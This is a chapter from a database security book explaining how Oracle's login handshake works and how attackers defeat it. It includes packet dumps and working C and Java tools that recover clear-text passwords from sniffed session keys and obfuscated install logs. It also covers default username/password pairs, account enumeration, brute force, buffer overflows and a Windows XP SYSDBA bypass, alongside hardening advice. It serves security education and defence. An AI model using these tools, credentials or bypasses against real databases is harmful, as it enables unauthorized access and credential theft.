Getting full access to the database and its data is the endgame of most attackers - but simply getting any access is the first step. For those who do not already have a user ID or password, the authentication processes must be defeated first. Doing so can be as technical as exploiting a buffer overflow, to as simple as performing a brute force attack - or simply obtaining a user ID and password. This chapter deals with getting access to the database server itself by attacking the authentication process.
When attempting to log in to the database, the client first connects to the TNS Listener and requests access to database services. The following code shows a packet dump of an example connection:
IP Header Length and version: 0x45 Type of service: 0x00 Total length: 320 Identifier: 9373 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x532d Source IP: 192.168.0.120 Dest IP: 192.168.0.37 TCP Header Source port: 1916 Dest port: 1521 Sequence: 2802498112 ack: 2168229595 Header length: 0x50 Flags: 0x18 (ACK PSH) Window Size: 17520 Checksum: 0x4915 Urgent Pointer: 0 Raw Data 01 18 00 00 01 00 00 00 01 39 01 2c 00 00 08 00 9 , 7f ff c6 0e 00 00 01 00 00 de 00 3a 00 00 02 00 : 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa 00 00 00 00 00 00 00 00 00 00 28 44 45 53 43 52 (DESCR 49 50 54 49 4f 4e 3d 28 41 44 44 52 45 53 53 3d IPTION=(ADDRESS= 28 50 52 4f 54 4f 43 4f 4c 3d 54 43 50 29 28 48 (PROTOCOL=TCP)(H 4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 2e 33 37 OST=192.168.0.37 29 28 50 4f 52 54 3d 31 35 32 31 29 29 28 43 4f )(PORT=1521))(CO 4e 4e 45 43 54 5f 44 41 54 41 3d 28 53 45 52 56 NNECT_DATA=(SERV 45 52 3d 44 45 44 49 43 41 54 45 44 29 28 53 45 ER=DEDICATED)(SE 52 56 49 43 45 5f 4e 41 4d 45 3d 6f 72 61 38 31 RVICE_NAME=ora81 37 2e 6e 67 73 73 6f 66 74 77 61 72 65 2e 63 6f 7.ngssoftware.co 6d 29 28 43 49 44 3d 28 50 52 4f 47 52 41 4d 3d m)(CID=(PROGRAM= 43 3a 5c 6f 72 61 63 6c 65 5c 70 72 6f 64 75 63 C:oracleproduc 74 5c 31 30 2e 32 2e 30 5c 64 62 5f 31 5c 62 69 t10.2.0db_1i 6e 5c 73 71 6c 70 6c 75 73 2e 65 78 65 29 28 48 nsqlplus.exe)(H 4f 53 54 3d 4f 52 41 29 28 55 53 45 52 3d 6f 72 OST=ORA)(USER=or 61 63 6c 65 29 29 29 29 acle)))))
Note the SERVICE_NAME entry=ora817.ngssoftware.com. If this service has not registered with the TNS Listener, then the Listener will generate an error. If the service has been registered, then the Listener will redirect the client to connect to another TCP port:
IP Header Length and version: 0x45 Type of service: 0x00 Total length: 104 Identifier: 32335 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0xfa52 Source IP: 192.168.0.37 Dest IP: 192.168.0.120 TCP Header Source port: 1521 Dest port: 1916 Sequence: 2168229595 ack: 2802498392 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 65255 Checksum: 0xe663 Urgent Pointer: 0 Raw Data 00 40 00 00 05 00 00 00 00 36 28 41 44 44 52 45 @ 6(ADDRE 53 53 3d 28 50 52 4f 54 4f 43 4f 4c 3d 74 63 70 SS=(PROTOCOL=tcp 29 28 48 4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 )(HOST=192.168.0 2e 33 37 29 28 50 4f 52 54 3d 33 35 39 30 29 29 .37)(PORT=3590))
In this case the client is redirected to TCP port 3590. If the server is running in MTS (multi-threaded server) mode, then the client will not be redirected and all communication takes place over the Listener port - 1521 in this case. Once the client has connected to the new port, it issues the same request for services as it did when it connected to the Listener.
After the preamble of the client connecting to the Listener and so on, the real meat of the authentication process begins. It does so with the client sending the server its username:
IP Header Length and version: 0x45 Type of service: 0x00 Total length: 236 Identifier: 59545 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x8f84 Source IP: 192.168.0.37 Dest IP: 192.168.0.120 TCP Header Source port: 2500 Dest port: 1521 Sequence: 668563957 ack: 2568057659 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 32780 Checksum: 0x65e8 Urgent Pointer: 0 Raw Data 00 c4 00 00 06 00 00 00 00 00 03 76 02 b0 5f df v _ 00 06 00 00 00 01 00 00 00 58 cc 12 00 04 00 00 X 00 28 ca 12 00 14 ce 12 00 06 73 79 73 74 65 6d ( system 0d 00 00 00 0d 41 55 54 48 5f 54 45 52 4d 49 4e AUTH_TERMIN 41 4c 07 00 00 00 07 47 4c 41 44 49 55 53 00 00 AL GLADIUS 00 00 0f 00 00 00 0f 41 55 54 48 5f 50 52 4f 47 AUTH_PROG 52 41 4d 5f 4e 4d 0b 00 00 00 0b 53 51 4c 50 4c RAM_NM SQLPL 55 53 2e 45 58 45 00 00 00 00 0c 00 00 00 0c 41 US.EXE A 55 54 48 5f 4d 41 43 48 49 4e 45 11 00 00 00 11 UTH_MACHINE 57 4f 52 4b 47 52 4f 55 50 5c 47 4c 41 44 49 55 WORKGROUPGLADIU 53 00 00 00 00 08 00 00 00 08 41 55 54 48 5f 50 S AUTH_P 49 44 09 00 00 00 09 35 35 37 36 3a 35 34 35 36 ID 5576:5456 00 00 00 00
In the preceding packet dump, the username is system. The server takes this username and checks whether it is a valid user. If it is not, then the server sends a "login denied" error to the client. We'll come back to this shortly. If the username does exist, then the server extracts the user's password hash from the database. The server uses this hash to create a secret number.
The secret number is created as follows: The server calls the slgdt() function in the orageneric library. This function essentially retrieves the system time. The minutes, hours, milliseconds, and seconds, all stored as a WORD, are joined to form the eight bytes of the "text" to be encrypted. The first four bytes of the key to be used in the encryption represent the minutes and hours XORed with the last four bytes of the user's hex password hash; the last four bytes of the key consist of the milliseconds and the seconds XORed with the first four bytes of the user's hex password hash. This key is used to encrypt the text by calling the kzsrenc() function in the oracommon library. This function basically performs DES key scheduling using the lncgks() function and then uses the lncecb() function to output the cipher text using DES in ECB mode.
The cipher text produced here becomes the secret number. This secret number is then encrypted with the user's password hash, again using the kzsrenc() function; and the result of this becomes the AUTH_SESSKEY. This is then sent over to the client:
IP Header Length and version: 0x45 Type of service: 0x00 Total length: 185 Identifier: 52755 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0xaa3d Source IP: 192.168.0.120 Dest IP: 192.168.0.37 TCP Header Source port: 1521 Dest port: 2500 Sequence: 2568057659 ack: 668564153 Header length: 0x50 Flags: 0x18 (ACK PSH) Window Size: 16275 Checksum: 0x4c2d Urgent Pointer: 0 Raw Data 00 91 00 00 06 00 00 00 00 00 08 01 00 0c 00 00 00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 10 00 AUTH_SESSKEY 00 00 10 36 43 43 33 37 42 41 33 44 41 37 39 37 6CC37BA3DA797 35 44 36 00 00 00 00 04 01 00 00 00 00 00 00 00 5D6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 36 01 00 00 00 00 00 6 00 b8 00 8b 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Upon receiving the AUTH_SESSKEY, the client must decrypt it to retrieve the secret number. The user creates a copy of his or her own password hash using the lncupw() function in the oracore library. This hash is then used as the key to decrypt the AUTH_SESSKEY by calling the kzsrdec() function. If everything goes well, then this should produce the secret number. This secret number is then used as a key to encrypt the user's clear-text, case-sensitive password by calling the kzsrenp() function. This function performs the DES key scheduling and encrypts the user's password in CBC mode. The cipher text is then sent back to the server as the AUTH_PASSWORD:
IP Header Length and version: 0x45 Type of service: 0x00 Total length: 839 Identifier: 59546 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x8d28 Source IP: 192.168.0.37 Dest IP: 192.168.0.120 TCP Header Source port: 2500 Dest port: 1521 Sequence: 668564153 ack: 2568057804 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 32762 Checksum: 0x0838 Urgent Pointer: 0 Raw Data 03 1f 00 00 06 00 00 00 00 00 03 73 03 b0 5f df s _ 00 06 00 00 00 01 01 00 00 1c da 12 00 07 00 00 00 88 d6 12 00 3c dc 12 00 06 73 79 73 74 65 6d < system 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f AUTH_PASSWO 52 44 11 00 00 00 11 36 36 36 43 41 46 45 36 37 RD 666CAFE67 34 39 43 39 44 37 37 30 00 00 00 00 0d 00 00 00 49C9D770 .... ....
The server decrypts the AUTH_PASSWORD with the secret number used as the key by calling the kzsrdep() function in the oracommon library. The server now has a copy of the clear-text password. The server then creates the password hash and compares it with the hash in the database. If they match, then the user is authenticated. Checks are then performed by the server to determine whether the user has the CREATE SESSION privilege; if so, the user is given access to the database server.
This analysis was performed against Oracle 8.1.7.4 running on Windows NT. The general process is the same on other Oracle versions although the actual function names may differ.
Returning briefly to the AUTH_PASSWORD, due to the way the password is encrypted you can derive information about the password's length. If the AUTH_PASSWORD is 16 characters long, then the actual password is 8 characters or less. If the user's password is between 9 and 16 characters long, then the AUTH_PASSWORD is 32 characters long, and so on. Thus, if attackers can sniff authentication going across the wire, then they can derive information that might be useful in a password-cracking attempt.
Getting password hashes from the database is a trivial task, as this book will, of course, show. Brute forcing Oracle password hashes can be done, but the longer the password the longer it will take. For very long passwords, rather than brute force them there's another attack to get the clear text quickly. If an attacker, who is in possession of the hash but wants the clear text, can sniff the AUTH_SESSKEY and AUTH_PASSWORD exchange on the wire, then they can obtain the clear-text password instantly. They decrypt the AUTH_SESSKEY with the known hash to get the secret number. They then use this secret number to decrypt the AUTH_PASSWORD and out pops the clear text - no matter how long it is. Sniffing the exchange is the real problem - but this shouldn't be shrugged off with a belief such as "Well, I've got bigger problems if they've got my password hashes and can capture traffic from off the wire." In switched environments, attacks aimed at ARP can lead to traffic being broadcast on the local wire, meaning everyone can capture the traffic. Of course, on plain broadcast networks (e.g., Ethernet using plain hubs) this is not a problem, and a sniffer running in promiscuous mode can pick up the exchange. Hosts or gateways somewhere in the middle between client and server can be compromised and used as strategic sniffers. Yes, you do have big problems if someone can do this, but the point is that attackers can and do do this!
The following code uses the kzsrdec() and kzsrdep() functions to obtain the clear-text password given the password hash, the AUTH_SESSKEY, and the AUTH_PASSWORD:
/* C:>cl /TC opass.c C:>opass E:oracleora81BINoracommon8.dll EED9B65CCECDB2E9 DF0536A94ADEE746 36A2CB576171FEAD Secret is CEAF9C221915EC3E Password is password */ #include #include int main(int argc, char *argv[]) { FARPROC kzsrdec = NULL; FARPROC kzsrdep = NULL; HANDLE oracommon = NULL; unsigned char dll_path[260]=""; unsigned char hash[40]=""; unsigned char sess[40]=""; unsigned char pass[260]=""; unsigned char o[20]=""; unsigned char pwd[200]=""; if(argc!=5) { printf(" *** Oracle Password Revealer *** "); printf(" C:\>%s ",argv[0]); printf("path_to_oracommon.dll "); printf("password_hash auth_sesskey "); printf("auth_password "); printf(" David Litchfield "); printf(" david@databasesecurity.com "); printf(" 10th June 2006 "); return 0; } strncpy(dll_path,argv[1],256); strncpy(hash,argv[2],36); strncpy(sess,argv[3],36); strncpy(pass,argv[4],256); if(StringToHex(hash,1)==0) return printf("Error in the password hash. "); if(StringToHex(sess,1)==0) return printf("Error in the auth_sesskey. "); if(StringToHex(pass,0)==0) return printf("Error in the auth_password. "); oracommon = LoadLibrary(dll_path); if(!oracommon) return printf("Failed to load %s ",dll_path); kzsrdec = GetProcAddress(oracommon," kzsrdec"); if(!kzsrdec) return printf("No address for kzsrdec. "); kzsrdep = GetProcAddress(oracommon," kzsrdep"); if(!kzsrdep) return printf("No address for kzsrdep. "); kzsrdec(sess,o,hash); printf(" Secret is %.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X ", o[0],o[1],o[2],o[3],o[4],o[5],o[6],o[7]); kzsrdep(pwd,pass,strlen(pass),o); printf("Password is %s ",pwd); return 0; } int StringToHex(char *str,int cnv) { unsigned int len = 0, c=0,i=0; unsigned char a=0,b=0; unsigned char tmp[12]=""; len = strlen(str); if(len > 16) return 0; while(c < len) { a = str[c++]; b = str[c++]; if(a > 0x2F && a < 0x3A) a = a - 0x30; else if(a > 0x40 && a < 0x47) a = a - 0x37; else if(a > 0x60 && a < 0x67) a = a - 0x57; else return 0; if(b > 0x2F && b < 0x3A) b = b - 0x30; else if(b > 0x40 && a < 0x47) b = b - 0x37; else if(a > 0x60 && a < 0x67) b = b - 0x57; else return 0; a = a << 4; a = a + b; tmp[i]=a; i ++; } memset(str,0,len); c=0; if(cnv) { while(c < 8) { str[c+0]=tmp[c+3]; str[c+1]=tmp[c+2]; str[c+2]=tmp[c+1]; str[c+3]=tmp[c+0]; c = c + 4; } return 1; } while(c < 8) { str[c]=tmp[c]; c = c ++; } return 1; }
No other bit of software has more well-known default usernames and passwords than Oracle. Username and password combinations are the first line of defense an attacker will try to compromise to gain authenticated access to the system. The more common ones are as follows:
SYS/CHANGE_ON_INSTALL SYSTEM/MANAGER DBSNMP/DBSNMP CTXSYS/CTXSYS MDSYS/MDSYS SCOTT/TIGER
A full list can be found in the appendix.
While it is not common to find the SYS or SYSTEM account with a default password, DBSNMP, the Intelligent Agent account, is often found to have the default password left intact. This is probably because the password needs to be changed in two places if you still want the Intelligent Agent to work. The first password change occurs in the database; the second password change needs to happen in the snmp_rw.ora file. Both CTXSYS and MDSYS, both DBAs in 9i, are often found with their default passwords left intact, too, though not as much as DBSNMP.
With the introduction of 10g, the situation improved drastically. During the install process, the installer is prompted for a password for the SYS account. This same password can then be set for the SYSTEM, DBSNMP, and SYSMAN accounts, too. All other accounts are set to EXPIRED and LOCKED. EXPIRED means the default password has expired and must be changed. However, for the default accounts and the default profile, the password can be changed to its original. People often do this so their older applications, which use hardcoded passwords, still work.
As it is still trivial to gain DBA privileges from any account that can connect to the database, every account should be protected with a strong password - and this should be enforced with a password complexity function set from the profile. Account lockout after a number of failed login attempts should also be considered for normal user accounts - care must be taken with application accounts. See the chapter on "Securing Oracle" in the Database Hacker's Handbook for more information.
Although the password situation has improved in 10g, risks remain. One such risk is that the password chosen during installation is written to certain files. For example, in 10g Release 1, the password for SYSMAN is written to the emoms.properties file in the $ORACLE_HOME/hostname_sid/sysman/config directory in clear text; 10g Release 2 uses DES to encrypt the password but the emoms file also contains the decryption key, so the password can still be retrieved: Just plug the emdRepPwd and emdRepPwdSeed properties into your nearest DES tool and out pops the clear-text password.
Another potential file where the password may be logged is post DBCreation.log. Suppose that during the install the installer chooses a hard-to-guess password with exclamation marks in it. When the passwords for the SYSMAN and DBSNMP accounts are set, the SQL script that does this executes the following:
alter user SYSMAN identified by f00bar!! account unlock alter user DBSNMP identified by f00bar!! account unlock
Due to the exclamation marks, this causes an error, which is then logged:
ERROR at line 1: ORA-00922: missing or invalid option
Because the password for the SYS and SYSTEM accounts are set in a different manner - one that doesn't cause an error - they're given the password. Thus, if someone can gain access to this file, then they might be able to discover the password for SYS and SYSTEM.
Another set of files in which passwords are logged is
$ORACLE_HOME/cfgtoollogs/cfgfw/CfmLogger_install_date.log $ORACLE_HOME/cfgtoollogs/cfgfw/oracle.assistants.server_install_date.log $ORACLE_HOME/cfgtoollogs/configToolAllCommands $ORACLE_HOME/inventory/Components21/oracle.assistants.server/10.2.0.1.0/ context.xml $ORACLE_HOME/inventory/ContentsXML/ConfigXML/oracle.assistants.server.10 _2_0_1_0.CFM.1.inst.xml $ORACLE_HOMEcfgtoollogsouiinstallActions_install_date.log (Windows only)
where install_date specifies the date and time the servers were installed. However, these passwords are obfuscated and appear as follows: 05da3f3b20f9ee5e1e992d7d35d5c0c679, but it is a trivial matter to recover the clear-text password from this. The passwords for SYS, SYSTEM, SYSMAN, and DBSNMP can all be recovered from these files. The following Java calls the Checksum SHA function in the Checksum package. Note that the function does not perform a SHA operation. The leading 05 in the obfuscated password indicates to the code to use DES decryption. The next 16 characters form the key, and the next 16 form the password.
/* $ cp DumpPassword.java /tmp/DumpPassword.java $ cd /tmp $ /oracle/product/10.1.0/Db_1/jdk/bin/javac -classpath /tmp:/oracle/product/10.1.0/Db_1/jlib/ /tmp/DumpPassword.java $ /oracle/product/10.1.0/Db_1/jdk/bin/java -classpath /tmp:/oracle/product/10.1.0/Db_1/jlib/ DumpPassword 05da3f3b20f9ee5e1e992d7d35d5c0c679 Password is foobar */ import oracle.security.misc.Checksum; class DumpPassword { public static void main(String args[]) { byte b_in[] = HexToByteArray(args[0]); try { /* Whilst it says SHA - it's not!!! */ byte b_out[] = Checksum.SHA(b_in, null); System.out.println ("Password is "+ ByteToHex(b_out)); } catch(Exception e) { System.out.println("error"); } } public static String ByteToHex(byte a[]) { String s=""; for(int i=0; i
Installing the 10g Application Server and grepping through the files shows that the following also have passwords obfuscated in the same manner:
$ORACLE_HOMEinventoryContentsXMLconfigtools.xml $ORACLE_HOMEcfgtoollogsconfigtoolsinstalldate.log $ORACLE_HOMEsysmanemd argets.xml $ORACLE_HOMEconfigias.properties
As you saw earlier, when a user attempts to authenticate to the database server, it issues a challenge - a session key with which to encrypt the password. This only happens if the account actually exists and so it is possible to enumerate accounts in a database server. For example, let's say we wanted to determine whether an account called "HELPDESK" exists. For this we can simply attempt to log on to the server - if the server issues you a challenge, then the account exists. If no challenge is issued, then the account does not exist. While this is only an informational issue it leaks enough information to make brute-force login attempts on accounts other than SYS and SYSTEM more feasible by way of letting the attacker know whether the account exists or not. Brute-force login attempts can be defeated with account lockout and by ensuring that strong passwords are used - see the chapter on "Securing Oracle" in the Database Hacker's Handbook for more information on how to enable this. In lab tests with an optimized brute-force tool, it's possible to perform c. 10 login attempts per second.
In February 2003, Mark Litchfield discovered that all versions of Oracle (9iR2 and earlier) on all OSes were vulnerable to a buffer overflow flaw in the authentication process. By passing an overly long username when logging on, the username is copied to a stack-based buffer that overflows, overwriting critical program control information. Exploitation of this flaw enables an attacker to gain complete control of the database server. A patch for this problem was provided by Oracle, but it is still common to find unpatched systems out there that are vulnerable to such an attack. I have heard a story about this flaw, but it may be one of those urban legends. Apparently, one of the Oracle VPs was furious that their code could contain such a bug and set out for developer blood, demanding to know who was responsible. He was quietly informed that he was: The flaw had lain hidden for so long the VP had written the code when he was new at Oracle and just a junior programmer. This overflow was fixed in Alert 51.
In the same year that Mark found his long username buffer overflow, more overflows were found in the authentication process in Oracle's XML database. The XML database offers services over FTP on TCP port 2100, and HTTP on port 8080; both are vulnerable to an overly long username buffer overflow and an overly long password buffer overflow. These and other issues in the XML database were the grounds for a talk presented at Blackhat Security Briefings on the differences between exploit techniques on Linux versus Windows. A copy of this paper can be found at www.ngssoftware.com/papers/exploitvariation.pdf. Patches for these flaws were released on August 18, 2003, in Alert 58.
A Note on Oracle on Windows XP
When Oracle is installed on Windows XP - for example, a developer's box - if a user is a member of the ORA_DBA local group, then they can connect to the database server as a SYSDBA without providing the password for the SYS user. When processing such a logon, Oracle uses the NTLM SSPI AcceptSecurityContext() function. If the user has presented the correct username and password, then this function returns 0 and creates a token. The problem with this is that if simple file sharing is enabled, then all attempts to log on are successful - the user is authenticated as the guest user. However, as far as Oracle is concerned the authenticated principle is not "guest" but whatever the remote user supplied as the username when they authenticated. If the username they presented is the name of a valid user in the ORA_DBA group, then Oracle authenticates the user and gives them SYSDBA access - having made the assumption, in good faith, that the remote user must have had the right password, as AcceptSecurity Context() "said" they were successfully authenticated. All attackers need to do is discover the name of a member of the ORA_DBA group and create a user on their own system with the same name. As the password is irrelevant, an attacker can then gain access to the Oracle server as a SYSDBA.
This chapter has described how authentication works and ways of getting around it. These methods include bypassing authentication by exploiting overflows, attempting to use default known user IDs and passwords, account enumeration and brute force, and gleaning usernames and passwords from files. The goal of this chapter has been to show how to get access at any privilege level - upgrading those privileges to DBA is another matter discussed in the chapters that follow.
Introduction